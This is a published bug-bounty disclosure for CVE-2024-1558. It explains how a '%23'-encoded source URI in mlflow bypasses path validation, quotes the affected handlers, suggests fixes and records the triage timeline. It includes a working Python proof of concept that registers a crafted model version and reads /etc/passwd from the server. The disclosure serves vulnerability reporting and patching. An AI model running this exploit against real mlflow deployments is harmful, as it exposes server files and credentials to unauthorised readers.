

Local file read using path traversal in model version source in mlflow/mlflow

✓ Valid

Reported on Dec 22nd 2023

Description

There is a bug in `_create_model_version()` (`server/handlers.py`). It uses `_validate_source()` function to validate a `source` parameter, but if validation passes, it continues to use the original value to create a model version.

In `_validate_source()` it checks if given `source` is local, and if it is not (like in this exploit), it runs `_validate_non_local_source_contains_relative_paths(source)`, but in that function only `path` component of the uri is validated, so with a carefully crafted `source` it is possible to pass the validation.

I'll be using `source = "http://xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../"` as an example. So in

```
def _validate_non_local_source_contains_relative_paths(source: str):
    ...
    while (unquoted := urllib.parse.unquote_plus(source)) != source:
        source = unquoted
    source_path = re.sub(r"/+", "/", urllib.parse.urlparse(source).path.rstrip("/"))
    ...
    resolved_source = pathlib.Path(source_path).resolve().as_posix()
    ...
    if resolved_path != source_path:
        raise MlflowException(invalid_source_error_message, INVALID_PARAMETER_VALUE)
```

by unquoting `source` it will convert `%23` to `#` (`%3f` to `?` also works), and so `source_path` is going to be `/xxx` and only that will be later validated against path traversal shenanigans.

This then interacts badly with `/model-versions/get-artifact` handler:

```
def get_model_version_artifact_handler():
    ...
    path = request_dict["path"]
    path = validate_path_is_safe(path)
    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name,
    if _is_servable_proxied_run_artifact_root(artifact_uri):
        artifact_repo = _get_artifact_repo_mlflow_artifacts()
        artifact_path = _get_proxied_run_artifact_destination_path(
```

```

        proxied_artifact_root=artifact_uri,
        relative_path=path,
    )
    ...
    return _send_artifact(artifact_repo, artifact_path)

```

here `path` will be something normal like `foo/bar` so `validate_path_is_safe()` will succeed, and `artifact_uri` is going to be same as the `source` parameter that we sneaked in, but because scheme of `artifact_uri` is `http`, `_is_servable_proxied_run_artifact_root()` will return true and final path will be constructed in `_get_proxied_run_artifact_destination_path()`:

```

def _get_proxied_run_artifact_destination_path(proxied_artifact_root, relative_path):
    ...
    parsed_proxied_artifact_root = urllib.parse.urlparse(proxied_artifact_root)
    ...
    else:
        mlflow_artifacts_http_route_anchor = "/api/2.0/mlflow-artifacts/artifacts/"
        assert mlflow_artifacts_http_route_anchor in parsed_proxied_artifact_root.path

        proxied_run_artifact_root_path = parsed_proxied_artifact_root.path.split(
            mlflow_artifacts_http_route_anchor
        )[1].lstrip("/")

    return (
        posixpath.join(proxied_run_artifact_root_path, relative_path)
        if relative_path is not None
        else proxied_run_artifact_root_path
    )

```

here `proxied_artifact_root == "http://xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../../../../../"`, but notice that `%23` is unquoted, so everything past `http://` will be treated as path component and `assert` will succeed. Then this path will be split by `/api/2.0/mlflow-artifacts/artifacts/`, so `proxied_run_artifact_root_path == "../../../../../../../../../../../../../../../../"` and `relative_path` will be appended to it and returned.

Fix suggestions

Validate query component with `validate_query_string()` (from `utils/uri.py`), discard fragment components as they are never used when making http requests, then return that validated uri from `_validate_source()` and use it in `_get_model_registry_store().create_model_version(...)`

Proof of Concept

```

from argparse import ArgumentParser
from random import randbytes

```

```

from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        # upload an artifact to force creation of './mlartifacts' directory in server
        # no artifacts were uploaded before:
        experiment_name = "e_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/experiments/create", json={ "name" : experiment_name })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={ "experiment_id" : experiment_id })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data=xxx)
        rsp = s.post(f"{ajax_api}/experiments/delete", json={ "experiment_id" : experiment_id })

        # create a registered model and version:
        model_name = "m_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/registered-models/create", json={ "name" : model_name })

        rsp = s.post(f"{ajax_api}/model-versions/create", json={
            "name" : model_name,
            "source": f"http://xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../etc/passwd"
        })

        rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
            "name" : model_name,
            "version" : 1,
            "path" : args.path.removeprefix("/")
        })

    try:
        print(rsp.content.decode())
    except UnicodeDecodeError:
        print(rsp.content)

```

Impact

This vulnerability is capable of arbitrary files in the context of servers process.

Occurrences

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎️ **ozelis** modified the report 2 years ago



✎️ **Dan McInerney** modified the Severity from High (8.5) to High (7.5) 2 years ago



Dan McInerney commented 2 years ago

Admin

Per previous NIST audits of LFI's reported on huntr, changing the CVSS to the standard NIST LFI score of 7.5.

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✅ **Dan McInerney** validated this vulnerability 2 years ago

Reproduced and validated. Great PoC worked first time. Very interesting bypass.

\$ **ozelis** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



❤️ **Dan McInerney** gave praise 2 years ago

Great PoC

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



CVE-2024-1558 assigned to this report. 2 years ago

✎️ A huntr admin modified the scheduled publication date from Invalid date to 16th Apr 2024 2 years ago

⚠️ We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-1558 has now been published 2 years ago

We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE
CVE-2024-1558
Published

Vulnerability Type
CWE-22: Path Traversal

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.9.2 (latest)

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



ozelis
@ozelis
MIDDLEWEIGHT

